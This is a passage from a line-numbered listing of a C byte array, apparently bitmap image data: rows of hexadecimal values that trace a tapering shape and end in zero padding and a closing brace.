372 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff,
373 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x03,0x00,0x00,0x00,0x00,0x00,0x00,
374 | 0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
375 | 0xff,0xff,0xff,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,
376 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x01,0x00,
377 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,0xff,0xff,0xff,0xff,0xff,
378 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x01,0x00,0x00,0x00,0x00,0x00,0x00,
379 | 0x00,0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
380 | 0xff,0xff,0xff,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf0,
381 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x00,0x00,
382 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xe0,0xff,0xff,0xff,0xff,0xff,
383 | 0xff,0xf7,0xff,0xff,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
384 | 0x00,0x00,0x00,0x00,0xe0,0xff,0xff,0xff,0xff,0xff,0xff,0xf3,0xff,0xff,0xff,
385 | 0xff,0xff,0x7f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,
386 | 0xff,0xff,0xff,0xff,0xff,0xff,0xf3,0xff,0xff,0xff,0xff,0xff,0x7f,0x00,0x00,
387 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0xff,0xff,0xff,0xff,0xff,
388 | 0xff,0xe1,0xff,0xff,0xff,0xff,0xff,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
389 | 0x00,0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0xff,0xff,0xc1,0xff,0xff,0xff,
390 | 0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
391 | 0xfe,0xff,0xff,0xff,0xff,0xff,0x80,0xff,0xff,0xff,0xff,0xff,0x0f,0x00,0x00,
392 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfe,0xff,0xff,0xff,0xff,
393 | 0x7f,0x00,0xff,0xff,0xff,0xff,0xff,0x0f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
394 | 0x00,0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0x3f,0x00,0xfe,0xff,0xff,
395 | 0xff,0xff,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
396 | 0xf8,0xff,0xff,0xff,0xff,0x1f,0x00,0xfc,0xff,0xff,0xff,0xff,0x03,0x00,0x00,
397 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff,
398 | 0x0f,0x00,0xf0,0xff,0xff,0xff,0xff,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
399 | 0x00,0x00,0x00,0x00,0x00,0xe0,0xff,0xff,0xff,0xff,0x07,0x00,0xc0,0xff,0xff,
400 | 0xff,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
401 | 0xc0,0xff,0xff,0xff,0xff,0x03,0x00,0x00,0xf8,0xff,0xff,0x3f,0x00,0x00,0x00,
402 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0xff,0xff,0xff,0xff,
403 | 0x01,0x00,0x00,0x00,0x80,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
404 | 0x00,0x00,0x00,0x00,0x00,0x00,0xfe,0xff,0xff,0x7f,0x00,0x00,0x00,0x00,0x00,
405 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
406 | 0x00,0xe0,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
407 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfe,0xff,0x00,
408 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
409 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
410 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
411 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
412 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
413 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
414 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
415 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
416 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
417 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
418 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
419 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
420 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
421 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
422 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
423 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
424 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
425 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
426 |
--------------------------------------------------------------------------------